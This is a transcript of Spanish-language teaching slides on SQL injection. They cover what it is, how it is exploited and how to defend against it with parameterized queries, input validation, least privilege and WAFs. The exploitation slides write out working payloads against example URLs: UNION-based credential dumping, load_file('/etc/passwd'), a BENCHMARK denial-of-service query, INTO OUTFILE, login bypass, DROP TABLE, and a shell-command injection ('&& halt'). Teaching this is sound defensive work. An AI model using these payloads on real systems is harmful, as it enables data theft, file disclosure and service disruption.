Inyecciones sql para todos

Post on 28-May-2015

1.680 views 1 download

Transcript of Inyecciones sql para todos

Cesar NeiraEstudiante de Ing. Sistemas

Aula H4X0RC

esa

r Neira

Inyecciones SQLpara todos

Introducción, explotación y contramedidas.

OWASP Top 10 2004

OWASP Top 10 2004

OWASP Top 10 2007

OWASP Top 10 2007

OWASP Top 10 2010

OWASP Top 10 2010

MITRE – Top 25

MITRE – Top 25

¿Qué está pasando?

¿Qué es una Inyección SQL?

Fallo de inyección

Un interprete ejecuta una instrucción enviada por la aplicación.

La aplicación forma la instrucción con entradas del usuario.

El usuario envía entradas especialmente diseñadas para alterar el significado de la instrucción

Por ejemplo:

PROGRAMA : system(“ls $dir”);ENTRADA : $dirINTERPRETE : /bin/bash

$dir = “images”Instrucción: $ ls imagesHacer un listado del directorio “images”

$dir = “images && halt”Instrucción: $ ls images && haltHacer un listado del directorio “images” y luego apagar el sistema.

Lenguaje SQL

Structured Query Language (lenguaje de consulta estructurado)

Permite realizar diversas operaciones sobre bases de datos relacionales.

Es interpretado por el DBMS.

Existen dialectos específicos para cada DBMS.

Ejemplos de SQL

SELECT email FROM users;

webmaster@example.com

invitado@example.com

pepito@hotmail.com

SELECT username,password FROM users WHERE type=1;

admin 123456

SQLi = Injection + SQL

Error de validación de entradas.

Permite alterar las consultas SQL.

No es un error del DBMS.

No es exclusivo de aplicaciones web.

INTERPRETE : DBMSLENGUAJE   : SQL

¿Cómo?

Caja Negra

index.php

page=news

id=23

http://example.com/index.php?page=news&id=23

Arquitectura

INTERNET

CLIENTE

SERVIDOR

BASE DE DATOS

HTTP

SQL

User: pepito

http://example.com/news.php?id=23

/* news.php */...$id = $_GET['id'];$query = "SELECT * FROM news WHERE id=$id";...

SELECT * FROM news WHERE id=23

User: Z3r0C001-H@...

http://example.com/news.php?id=23 OR 1=1

/* news.php */...$id = $_GET['id'];$query = "SELECT * FROM news WHERE id=$id";...

SELECT * FROM news WHERE id=23 OR 1=1

¿Y qué?

Extracción de Datos

SELECT * FROM news WHERE id=23 AND 1=0 UNION SELECT username,password FROM users

http://example.com/news.php?id=23 AND 1=0 UNION SELECT username,password FROM users

UNION SELECT

DEMO 1

Extracción de ficheros

LOAD_FILE()

SELECT * FROM news WHERE id=23 AND 1=0 UNION SELECT 1,load_file('/etc/passwd') FROM users

http://example.com/news.php?id=23 AND 1=0 UNION SELECT 1,load_file('/etc/passwd') FROM users

DEMO 2

Ataques DoS

#RefRef

BENCHMARK()

SELECT * FROM news WHERE id=23 AND 0 = BENCHMARK(999999999999,SHA(RAND()))

http://example.com/news.php?id=23 AND 0 = BENCHMARK(999999999999,SHA(RAND()))

DEMO 3

File Upload

OUTFILE / DUMPFILE

SELECT * FROM news WHERE id=23 AND 0 = 1 UNION SELECT '','Hello World!' INTO OUTFILE '/tmp/hello.txt'

http://example.com/news.php?id=23 AND 0 = 1 UNION SELECT '','Hello World!' INTO OUTFILE '/tmp/hello.txt'

DEMO 4

xp_cmdshell

MSF - webpayloads

DEMO 5

Login Bypass

Login Bypass

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '' = ''

/* login.php */...$user = $_POST['username'];$pass = $_POST['password'];$query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";...

Por ejemplo...

Ataque Boby Tables

Ataque Boby Tables

SELECT * FROM users WHERE username = ''; DROP TABLE users;--' AND password = ''

/* login.php */...$user = $_POST['username'];$pass = $_POST['password'];$query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";...

Y hay más...

Oh, y ahora ¿Quiénpodrá defendernos?

Validación de entradas

- Expresiones regulares

- Validación de tipo

- Escapar caracteres especiales

- Librerías de seguridad ESAPI

No solo JavaScript

ConsultasParametrizadas

Definir primero la consulta y luego pasarle los parámetros.

- Prepared Statements.

- Storage Procedures.

Permisos de Acceso

- Las aplicaciones no necesitan la cuenta de administrador.

- GRANT ALL PRIV... ¿Es necesario?

- Aplicaciones diferentes, usuarios diferentes

IDS, IPS, WAF, etc...

- Sistemas de detección y prevención de intrusos. (Snort)

- Web Application Firewall. (mod_security)

- Reescritura de solicitudes HTTP. (mod_rewrite)

- Basados en patrones.

- No 100% confiables.

Gracias por participarmuy pronto estamos en provincias

para más información ingresa a nuestra web

En el 2012 mucho más de nosotros…

http://alguienenlafisi.blogspot.com